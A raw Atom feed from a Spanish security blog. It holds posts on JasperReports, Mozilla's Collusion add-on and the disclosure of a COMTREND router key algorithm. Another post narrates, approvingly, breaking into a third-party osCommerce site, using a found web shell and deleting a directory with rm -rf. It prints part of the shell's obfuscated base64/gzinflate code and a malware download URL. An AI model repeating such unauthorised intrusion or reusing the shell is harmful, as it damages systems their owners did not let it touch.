pre-wrap;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b style=&quot;font-weight: normal;&quot;&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;white-space: pre-wrap;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;El tag “&amp;lt;sup&amp;gt;” en este caso se refiere a superscript, y veremos que ahora el resultado en el PDF es este:&lt;/span&gt;&lt;img height=&quot;409px;&quot; src=&quot;https://lh5.googleusercontent.com/56I-ydCXruyiiu4WPa1gd0dQnMpY_DxFDjAmRhEQADsa-VJMwkpOrxBC3a38pp0S1swphA6ua42CBmuatPFhi4QmiB7V0u8yau78YwMk_Deny2X0kAo&quot; width=&quot;511px;&quot; /&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;8) Libros recomendados:&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;ul style=&quot;margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;&lt;b style=&quot;font-weight: normal;&quot;&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;li style=&quot;list-style-type: disc; margin-left: -24px; vertical-align: baseline;&quot;&gt;&lt;a href=&quot;about:blank&quot;&gt;&lt;span style=&quot;color: blue; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;JasperReports 3.5 for Java Developers&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;, by David Heffelfinger&lt;/span&gt;&lt;/li&gt;&lt;li style=&quot;list-style-type: disc; margin-left: -24px; vertical-align: baseline;&quot;&gt;&lt;a href=&quot;about:blank&quot;&gt;&lt;span style=&quot;color: blue; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;JasperReports 3.6 Development Cookbook&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;, by Bilal Siddiqui&lt;/span&gt;&lt;/li&gt;&lt;/span&gt;&lt;/b&gt;&lt;/ul&gt;&lt;b style=&quot;font-weight: normal;&quot;&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;font-weight: bold; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 16px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.needofsecurity.com.ar/feeds/8724933238734246868/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.needofsecurity.com.ar/2012/11/jasper-reports-generacion-de-documentos.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1547170927549978957/posts/default/8724933238734246868'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1547170927549978957/posts/default/8724933238734246868'/><link rel='alternate' type='text/html' href='http://www.needofsecurity.com.ar/2012/11/jasper-reports-generacion-de-documentos.html' title='Jasper Reports: Generación de documentos'/><author><name>Matias Javier</name><uri>https://plus.google.com/101255256122446288110</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-4DagObdV8-s/AAAAAAAAAAI/AAAAAAAACRA/NwZzFldWN0s/s512-c/photo.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1547170927549978957.post-7090603053355549653</id><published>2012-02-29T21:23:00.000-03:00</published><updated>2012-02-29T21:23:42.922-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Collusion"/><category scheme="http://www.blogger.com/atom/ns#" term="Firefox"/><category scheme="http://www.blogger.com/atom/ns#" term="Mozilla"/><title type='text'>Collusion: Observa quienes te rastrean!</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-6Ndcc5T0I9w/T07BWpbrbaI/AAAAAAAAAH4/W0d1J2Qz448/s1600/Sin+t%C3%ADtulo.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;230&quot; src=&quot;http://2.bp.blogspot.com/-6Ndcc5T0I9w/T07BWpbrbaI/AAAAAAAAAH4/W0d1J2Qz448/s320/Sin+t%C3%ADtulo.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Es muy comun que los sitios rastreen mediante cookies cuales son tus gustos personales en pos de poder &quot;ofrecerte&quot; anuncios acordes.&lt;br /&gt;Este es uno de los negocios mas rentables que existe en la actualidad y es uno de los pilares de las grandes compañias.&lt;br /&gt;&lt;br /&gt;Gary Kovacs, el CEO de Mozilla, presento durante &lt;a href=&quot;http://blog.ted.com/2012/02/28/meet-collusion-announced-today-onstage-at-ted-u/&quot;&gt;TED 2012&lt;/a&gt; un &lt;a href=&quot;http://es.wikipedia.org/wiki/Extensi%C3%B3n_%28Mozilla%29&quot;&gt;addon &lt;/a&gt;para Firefox que permite ver en tiempo real que sitios estan siguiendo tu actividad mientras navegas.&lt;br /&gt;&lt;br /&gt;Collusion crea una matriz de puntos grises que marcan los sitios que has visitado o estás visitandos. Estos puntos se conectan a otros puntos de color rojo que son los sitios que te estan rastreando mediante cookies.&lt;br /&gt;&lt;br /&gt;La idea que plantea Kovacs es lanzar Collusion a gran escala en pos de poder tener una vision mas detallada de cuales son los sitios que rastrean nuestra información, como, y por que. El saber esto nos podria permtir en un futuro resguardar nuestra privacidad y nuestra actividad en la red.&lt;br /&gt;&lt;br /&gt;Kovacs dijo:&lt;br /&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;“Estamos siendo observados. Es el momento de observar a los observadores”. &lt;/blockquote&gt;&lt;br /&gt;Se puede descargar &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/collusion/&quot;&gt;Collusion &lt;/a&gt;en el sitio de Mozilla.</content><link rel='replies' type='application/atom+xml' href='http://www.needofsecurity.com.ar/feeds/7090603053355549653/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.needofsecurity.com.ar/2012/02/collusion-observa-quienes-te-rastrean.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1547170927549978957/posts/default/7090603053355549653'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1547170927549978957/posts/default/7090603053355549653'/><link rel='alternate' type='text/html' href='http://www.needofsecurity.com.ar/2012/02/collusion-observa-quienes-te-rastrean.html' title='Collusion: Observa quienes te rastrean!'/><author><name>Matías</name><uri>http://www.blogger.com/profile/16169022480058479255</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-6Ndcc5T0I9w/T07BWpbrbaI/AAAAAAAAAH4/W0d1J2Qz448/s72-c/Sin+t%C3%ADtulo.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1547170927549978957.post-8543691966236064109</id><published>2011-02-06T20:19:00.004-03:00</published><updated>2011-03-10T19:06:37.439-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Bugs"/><category scheme="http://www.blogger.com/atom/ns#" term="COMTREND"/><category scheme="http://www.blogger.com/atom/ns#" term="SeguridadWireless"/><category scheme="http://www.blogger.com/atom/ns#" term="WPA"/><title type='text'>Fallo de seguridad en el router COMTREND. Una de suspenso.</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/_i-43lFP4TnI/TU8sRn44fHI/AAAAAAAAAHw/Ww5TiATtUgI/s1600/ssd.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;129&quot; src=&quot;http://1.bp.blogspot.com/_i-43lFP4TnI/TU8sRn44fHI/AAAAAAAAAHw/Ww5TiATtUgI/s320/ssd.JPG&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;Ya habíamos hablado de este fallo en otra &lt;a href=&quot;http://www.needofsecurity.com.ar/2010/12/fallo-de-seguridad-en-el-router.html&quot;&gt;oportunidad&lt;/a&gt;. De como SeguridadWireless al descubrir el fallo decidió no revelar los detalles técnicos por el momento en pos de darle tiempo a las compañías para que puedan solucionarlo.&lt;br /&gt;&lt;br /&gt;&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Lo que mas me ha asombrado en este ultimo tiempo es la cantidad de noticias sin contrastar (en parte gracias al silencio de los implicados) que he visto en varios blogs de seguridad.. Todo comenzó con &lt;a href=&quot;http://www.hispasec.com/unaaldia/4487/&quot;&gt;unaaldia&lt;/a&gt; de &lt;a href=&quot;http://www.hispasec.com/&quot;&gt;Hispasec&lt;/a&gt;:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Todo apunta a que el algoritmo ha sido filtrado por alguien con acceso a  &lt;br /&gt;esta información desde alguna de las empresas implicadas. La otra opción  &lt;br /&gt;sería el haber realizado ingeniería inversa a una gran muestra de  &lt;br /&gt;routers, y esto pensamos que es extremadamente complejo (aunque no  &lt;br /&gt;imposible) por el hecho de que el algoritmo usa hashes criptográficos. &lt;/blockquote&gt;Primero que nada hay que aclarar que no es necesario emplear ingeniería inversa a una gran muestra de routers, basta con hacerlo en uno solo. Al obtener el algoritmo, lo único que necesitas es conseguir otra persona de confianza (o varias) con el mismo modelo y pedirle sus datos (BSSID y ESSID) y luego verificar si la clave generada por el algoritmo descubierto corresponde con la real.&lt;br /&gt;&lt;br /&gt;Otro articulo que leí fue el de &lt;a href=&quot;http://blog.s21sec.com/2011/02/claves-para-wpa-en-routers-comtrend-ct.html?utm_source=feedburner&amp;amp;utm_medium=feed&amp;amp;utm_campaign=Feed%3A+S21sec+%28Blog+S21sec%29&amp;amp;utm_content=Google+Reader&quot;&gt;S21sec&lt;/a&gt;, el cual proclama:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;div&gt;&lt;div&gt;De todas formas, es improbable que el algoritmo se haya descubierto mediante criptoanálisis, y todo apunta a que haya habido&lt;/div&gt;&lt;div&gt;alguna fuga de información, puesto que es imposible poder revertir un algoritmo de &lt;i&gt;hash&lt;/i&gt; como MD5 (aunque sí que existen &lt;a href=&quot;http://eprint.iacr.org/2009/111.pdf&quot;&gt;ataques&lt;/a&gt; &lt;a href=&quot;https://documents.epfl.ch/users/l/le/lenstra/public/papers/lat.pdf&quot;&gt;publicados&lt;/a&gt;  pero con el objetivo de conseguir colisiones, no de recuperar el  texto): cogemos un entrada de longitud aleatoria que después de pasar  por el algoritmo MD5 nos devuelve siempre 128 bits; realmente es como si  cogemos cualquier número, lo dividimos entre 2, pero sólo nos quedamos  con el resto (que será 0 ó 1): es imposible recuperar el número original  a partir de ese 0 ó 1.&lt;/div&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;br /&gt;Realmente me parece sorprendente que en ningún momento se mencione la posibilidad de que hayan empleado ingeniería inversa. &lt;br /&gt;&lt;br /&gt;Como ya se sabe, los primeros en descubrir el fallo fueron los de &lt;a href=&quot;http://seguridadwireless.net/&quot;&gt;SeguridadWireless.&lt;/a&gt; El segundo en descubrir el fallo fue &lt;a href=&quot;http://elvecinoo.wordpress.com/&quot;&gt;elvecino&lt;/a&gt;. A pesar de no haber relación entre los dos sitios que descubrieron el fallo, ambos tomaron una politica similar de no liberarlo completamente. En el caso de SeguridadWireless para darle tiempo a las compañias para que resuelvan el fallo y mantener la seguridad de las redes lo mas posible, y en el caso de elvecino por algo bastante similar, porque se notaba demasiado que la mayoría de las personas que querían conocer los detalles técnicos del fallo, era simplemente para tener conexión gratis.&lt;br /&gt;&lt;br /&gt;Elvecino a pesar que no hizo publico el fallo directamente, fue dando pistas en el foro de &lt;a href=&quot;http://lampiweb.com/foro/index.php/topic,5595.0.html&quot;&gt;LampiWeb&lt;/a&gt; donde varios se estaban quemando las pestañas intentando adivinar como se generaba la clave probando combinaciones aleatorias y convirtiendo estas a MD5 (intentos inútiles por supuesto dada las características técnicas del algoritmo MD5)&lt;br /&gt;En el foro de Lampiweb, elvecino decidió ir dando pistas para ayudar a las personas que realmente querían investigar el tema. Se especifica como emplearon ingeniería inversa al firmware del router dando detalles a medias, pero que le bastan a cualquier persona con los conocimientos suficientes para poder reproducir el mismo proceso. &lt;br /&gt;&lt;br /&gt;¿A que voy con esto? que me parece hilarante que se este hablando de fugas y chivatos cuando la realidad es mucho mas simple. Ingeniería inversa, y no mas que eso.&lt;br /&gt;Mi recomendación es que contacten con los responsables implicados en el tema para obtener información fehaciente y dejar de lado la especulación.&lt;br /&gt;&lt;br /&gt;Ojala los blogs de seguridad rectifiquen pronto.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Update&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Comunicado oficial de SeguridadWireless.net&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;&lt;span style=&quot;color: red;&quot;&gt;Nuevo comunicado 4-2-2011&lt;/span&gt;&lt;/u&gt;&lt;br /&gt;Como todos sabéis, ayer se libero el algoritmo de generación de claves        wifi usado por los routers comtrend que instala tanto Movistar como        Jazztel.&lt;br /&gt;También sabéis que el equipo de seguridad wireless descubrió ese algoritmo        el día “*”. Desde entonces seguridadwireless.net ha sido objeto de        insultos y descalificaciones por el simple hecho de no publicar el        algoritmo, el motivo de este comunicado es explicar (de nuevo) las        posturas de seguridadwireless y defendernos de ciertas acusaciones.&lt;br /&gt;&lt;br /&gt;En primer lugar se debe conocer la siguiente premisa:        seguridadwireless.net es un foro dedicado a investigar la seguridad en        redes inalámbricas. NO es un foro de wifi gratis. Cualquiera que haya        entrado se habrá dado cuenta que esta totalmente prohibido cualquier        referencia a auditar redes wifi ajenas y preguntas de este tipo han sido y        serán consecuencia de baneo inmediato en el foro.&lt;br /&gt;&lt;br /&gt;Debido a la temática y recursos del foro hay quien ha cometido el error de        pensar que en realidad, se trata de un sitio donde te ayudan a piratear el        wifi al vecino (pero que no lo dicen abiertamente para no ver envueltos en        líos legales) por lo que luego vienen las sorpresas:&lt;br /&gt;&lt;br /&gt;Seguridadwireless no publica un algoritmo que deja cientos o quizás miles        de usuarios indefensos, una herramienta “magica” que con solo poner los        datos de la red de tu vecino te da conexión gratis y te mete de lleno en        un delito telemático.&lt;br /&gt;&lt;br /&gt;Así como otras comunidades han liberado generadores de diccionarios sin        liberar fuentes Seguridad wireless se siente orgullosa de afirmar que        siempre ha liberado el código fuente de todos los generadores y explicado        la forma en que se descubrieron llevando esto (en ocasiones) a la copia        por otras comunidades de herramientas (incluso sin citar fuentes).&lt;br /&gt;&lt;br /&gt;En seguridad wireless se han recopilado y creado herramientas de seguridad        como los LiveCd wifiway o wifislax que facilitan la auditoria wireless.&lt;br /&gt;&lt;br /&gt;Entonces ¿Por que entonces en esta ocasión no se ha liberado el fuente?&lt;br /&gt;nos encontramos ante un problema de seguridad gordo, de libro. la        posibilidad de conocer la clave por defecto de un router con tan solo        conocer la MAC del router y su nombre, nada de airodump,aircrack, captura        de paquetes, datas ivs ni ataques de fragmentación. Nos encontramos ante        la posibilidad de que cualquier persona independientemente de sus        conocimientos de seguridad e intenciones ponga en jaque, con papel y lápiz        la seguridad de las redes que le rodean. Redes que se están implantando        masivamente en España en este momento.&lt;br /&gt;&lt;br /&gt;No se libera el algoritmo, se establece una política de disclosure y se        considera que no se debe liberar un (llamémoslo exploit) “0day”, se decide        contactar a la empresa y se pacta un Non-disclosure agreement o NDA        durante un tiempo determinado. para permitir a la empresa solucionar el        problema.&lt;br /&gt;&lt;br /&gt;Y aquí señores es donde se diferencia un foro de pirateo wifi de un grupo        de seguridad, llegados a este punto se antepone la seguridad de los        usuarios a otros asuntos mas triviales como el dudoso merito de publicar        un algoritmo capaz de permitirle a cualquiera el acceso a redes que no le        pertenecen por el simple hecho de bajarse una aplicación para su móvil.&lt;br /&gt;&lt;br /&gt;Habría que ver cuantas de las personas que han insultado (porque en su        mayoría eran directamente insultos y no criticas) a seguridadwireless por        este motivo les haría gracia ver como sus peticiones dns, sus        comunicaciones ssh son hackeadas porque a alguien se le ocurrió que era        buena idea liberar el mal antes que la cura.&lt;br /&gt;&lt;br /&gt;O ¿como te sentirías si te robasen el coche porque a un gracioso se le        ocurrió decirle al mundo entero como crear una llave maestra que abriese        tu modelo de coche sin dar tiempo a que tu marca te pusiese una solución?        hay que ser civilizados.&lt;br /&gt;&lt;br /&gt;Por ultimo, el equipo se seguridadwireless se siente profundamente triste,        una comunidad que ha demostrado ser libre, trabajando con software libre e        idas libres con la única premisa de no hacer daño y ayudar pidió un voto        de confianza en un momento dado.&lt;br /&gt;Por parte de algunas personas no se le dio. Desconocemos si estas personas        pensaban que la web se trataba de “wifigratis” y pensaban que tenían        derecho a recibir sin mas, el algoritmo. si es el caso les rogamos que se        dirijan a los foros dedicados a tales fines donde podrán encontrar        ejecutables que les saquen las redes pero no los fuentes.&lt;br /&gt;Si por lo contrario te interesa la seguridad inalámbrica y no estabas de        acuerdo con ciertas decisiones esperamos que haya quedado todo explicado y        reconocemos que en algunos momentos se pudo dar mas información de la que        se dio sobre lo que estaba ocurriendo.</content><link rel='replies' type='application/atom+xml' href='http://www.needofsecurity.com.ar/feeds/8543691966236064109/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.needofsecurity.com.ar/2011/02/fallo-de-seguridad-en-el-router.html#comment-form' title='10 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1547170927549978957/posts/default/8543691966236064109'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1547170927549978957/posts/default/8543691966236064109'/><link rel='alternate' type='text/html' href='http://www.needofsecurity.com.ar/2011/02/fallo-de-seguridad-en-el-router.html' title='Fallo de seguridad en el router COMTREND. Una de suspenso.'/><author><name>Matías</name><uri>http://www.blogger.com/profile/16169022480058479255</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/_i-43lFP4TnI/TU8sRn44fHI/AAAAAAAAAHw/Ww5TiATtUgI/s72-c/ssd.JPG" height="72" width="72"/><thr:total>10</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1547170927549978957.post-5797399887721538084</id><published>2011-01-28T06:21:00.010-03:00</published><updated>2011-01-29T11:03:31.490-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Facebook"/><category scheme="http://www.blogger.com/atom/ns#" term="malware"/><title type='text'>Haciendo la buena obra del día</title><content type='html'>En el día anterior un usuario posteo en el &lt;a href=&quot;http://www.elhacker.net/&quot;&gt;hacker.net &lt;/a&gt;una duda respecto de un ejecutable que se transmitía mediante Facebook. La pregunta era si el link que contenía el mensaje &lt;a href=&quot;https://foro.elhacker.net/foro_libre/virus_en_fb-t318011.0.html&quot;&gt;era o no era un virus&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;El mensaje en especifico era este:&lt;br /&gt;&lt;blockquote&gt;&quot;hahaha foto&lt;br /&gt;&lt;a href=&quot;http://apps.facebook.com/photoyeahhh/photo.php?=100000504053506&quot; target=&quot;_blank&quot;&gt;http://apps.facebook.com/photoyeahhh/photo.php?=100000504053506&lt;/a&gt; &quot;&lt;/blockquote&gt;Al entrar a la aplicación nos encontrábamos con una pagina similar a Facebook que contenía un mensaje que declaraba:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Si quieres ver la foto haz click aquí!&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;Esta aplicación nos dirigía automáticamente a http://foxy-golf.com/img/facebook-pic000934519.exe donde aparecía la confirmación de si queríamos o no descargar el archivo.&lt;br /&gt;Obviamente, lo descargamos y le damos un análisis en &lt;a href=&quot;http://www.virustotal.com/file-scan/report.html?id=e36a6c4afbe759350c67d736c6dd63b7f23aeff5fb4ed0483da7f267e85d2f3e-1296169699&quot;&gt;VirusTotal&lt;/a&gt; para confirmar que efectivamente se trata de malware (si es que hacia falta confirmación) específicamente un bot controlado mediante IRC.&lt;br /&gt;&lt;blockquote&gt;&lt;span class=&quot;blackthick&quot; id=&quot;status-object&quot;&gt;facebook-pic000934519.exe&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;div style=&quot;display: inline; float: left; width: 120px;&quot;&gt;Submission date: &lt;/div&gt;&lt;span class=&quot;blackthick&quot; id=&quot;status-date&quot;&gt;2011-01-27 23:08:19 (UTC)&lt;/span&gt;&lt;br /&gt;&lt;div style=&quot;display: inline; float: left; width: 120px;&quot;&gt;Current status: &lt;/div&gt;&lt;span class=&quot;blackthick&quot; id=&quot;status-status&quot;&gt;finished&lt;/span&gt;&lt;br /&gt;&lt;div style=&quot;display: inline; float: left; width: 120px;&quot;&gt;Result: &lt;/div&gt;&lt;span class=&quot;blackthick&quot;&gt;&lt;span id=&quot;porcentaje&quot; style=&quot;color: red;&quot;&gt;3&lt;/span&gt;                 &lt;span id=&quot;status-total&quot;&gt;/43 (7.0%)&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; id=&quot;tablaMotores&quot; style=&quot;width: 700px;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;br /&gt;&lt;/td&gt;&lt;td&gt;&lt;br /&gt;&lt;/td&gt;&lt;td&gt;&lt;br /&gt;&lt;/td&gt;&lt;td class=&quot;positive&quot; style=&quot;color: red;&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;Comodo:    &lt;span style=&quot;color: red;&quot;&gt;P2PWorm.Win32.Palevo.GZA&lt;/span&gt;&lt;br /&gt;Jiangmin:  &lt;span style=&quot;color: red;&quot;&gt;Heur:Backdoor/Agent&lt;/span&gt;&lt;br /&gt;NOD32:&lt;span style=&quot;color: red;&quot;&gt;     a variant of Win32/Injector.EMI &lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;Hecho esto nos interesa verificar si el host es una web infectada o si es un host implementado en pos de alojar los archivos maliciosos. Entramos en &lt;a href=&quot;http://foxy-golf.com/&quot;&gt;http://foxy-golf.com&lt;/a&gt; y al parecer nos encontramos con una tienda:&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/_i-43lFP4TnI/TUKE6kDirjI/AAAAAAAAAHc/vgnRQmXE0g0/s1600/store.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;210&quot; src=&quot;http://1.bp.blogspot.com/_i-43lFP4TnI/TUKE6kDirjI/AAAAAAAAAHc/vgnRQmXE0g0/s320/store.JPG&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;blockquote&gt;Registrant:&lt;br /&gt;&amp;nbsp;foxy golf&lt;br /&gt;&amp;nbsp;40 w turkeyfoot lake rd.&lt;br /&gt;&amp;nbsp;akron, Ohio 44319&lt;br /&gt;&amp;nbsp;United States&lt;br /&gt;&lt;br /&gt;&amp;nbsp;Domain Name: FOXY-GOLF.COM&lt;br /&gt;&amp;nbsp;Created on: 13-May-08&lt;br /&gt;&amp;nbsp;Expires on: 13-May-12&lt;br /&gt;&amp;nbsp;Last Updated on: 14-May-10&lt;/blockquote&gt;&lt;br /&gt;Rápidamente nos damos cuenta que es un sistema &lt;a href=&quot;http://www.oscommerce.com/&quot;&gt;osCommerce&lt;/a&gt;, y lamentablemente en este caso una versión muy vulnerable y sin ningún tipo de parche aplicado por parte del administrador. &lt;br /&gt;&lt;br /&gt;Accedemos fácilmente al listado de archivos bypasseando el login, y comprobamos rápidamente que se pueden descargar archivos a diestra y siniestra. Obviare algunas partes por razones que se caen de maduras, pero seria algo similar a: &lt;br /&gt;&lt;blockquote&gt;xxxxxx/xxx.php?action=download&amp;amp;file=path&lt;/blockquote&gt;Tenemos el listado de archivos y sabemos que podemos descargar. Se podra subir archivos? seguramente, pero primero veremos si podemos descargar algún fichero con los passwords necesarios.&lt;br /&gt;&lt;br /&gt;Luego de probar la descarga de varios archivos sin suerte, a simple vista la opción mas factible es intentar subir una shell. No obstante, si el host esta infectado posiblemente tenga una shell en alguno de sus directorios, y si el atacante fue lo suficientemente inexperto, esta va a estar a la vista.&lt;br /&gt;&lt;br /&gt;Descargamos los pocos archivos que nos quedaban por revisar hasta que encontramos uno con algo similar a:&lt;br /&gt;&lt;blockquote&gt;GIF89;a&lt;br /&gt;eval(gzinflate(base64_decode(&#39;&lt;br /&gt;7P37ehq58igM/73zPLkHhWENMLE5+RAfgicYsI3j&lt;br /&gt;I/gcZ/vX0A10DDRDg7Ezk/d+3+8qvqqS1K0+AXY8&lt;br /&gt;s9Z69/ZaGUAqlUqlUqlUkkq/b338fdAZvH2T+e0f&lt;br /&gt;+ctgTf/PP/DHa2Is2UxZuqGzxhOr96uDyvCuXlwo&lt;br /&gt;Gw9G1xrw5IOn7H1H49CHxeoB64xGg41M5qHfGGpm&lt;/blockquote&gt;Al descodificar este archivo, efectivamente nos damos cuenta que es la shell que necesitabamos. Intentamos acceder a la shell desde&amp;nbsp; &lt;a href=&quot;http://foxy-golf.com/shell.php&quot;&gt;http://foxy-golf.com/shell.php&lt;/a&gt; y efectivamente tenemos suerte:&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/_i-43lFP4TnI/TUKME4ifJSI/AAAAAAAAAHo/fLbeA00NjHs/s1600/shell.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;190&quot; src=&quot;http://3.bp.blogspot.com/_i-43lFP4TnI/TUKME4ifJSI/AAAAAAAAAHo/fLbeA00NjHs/s320/shell.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Como habíamos detectado al inicio, los archivos maliciosos se encontraban en el directorio /img/, por ende lanzamos un rm -rf y eliminamos el directorio completamente. Logrando asi que la aplicación de Facebook deje de funcionar:&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/_i-43lFP4TnI/TUKIk-DTgjI/AAAAAAAAAHk/dsG9tT5-Wxs/s1600/facebook.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;94&quot; src=&quot;http://1.bp.blogspot.com/_i-43lFP4TnI/TUKIk-DTgjI/AAAAAAAAAHk/dsG9tT5-Wxs/s320/facebook.JPG&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Terminamos el asunto dejando un archivo explicándole al administrador como debería solucionar los fallos, por supuesto también se lo enviamos por mail. Luego de esto eliminamos la shell que habíamos encontrado, saliendo así completamente del sitio.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Conclusión&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;El aspecto positivo es que evitamos que mas gente se siga infectando al deshabilitar la aplicación que transmitía el malware, por lo menos momentáneamente.&lt;br /&gt;&lt;br /&gt;El aspecto negativo es que posiblemente el administrador ni siquiera solucione los fallos de su sitio web y aunque lo hiciese, siempre habrá cientos de administradores con sus sitios sin parchear y fácilmente accesibles por cualquier atacante.&lt;br /&gt;&lt;br /&gt;Lamentablemente Comodo me jugo una mala pasada y elimino el backup que había hecho del ejecutable malicioso sin que pudiese debuggearlo y realizar la vacuna correspondiente, por lo tanto si tienes una muestra por ahí, no dudes en enviármela.&lt;br /&gt;&lt;br /&gt;Tienen alguna &quot;buena obra del día?&quot; suelen hacerlas seguido o simplemente pasan del tema? sera un placer leer las historias que tengan.&lt;br /&gt;&lt;br /&gt;Saludos!</content><link rel='replies' type='application/atom+xml' href='http://www.needofsecurity.com.ar/feeds/5797399887721538084/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.needofsecurity.com.ar/2011/01/haciendo-la-buena-obra-del-dia.html#comment-form' title='5 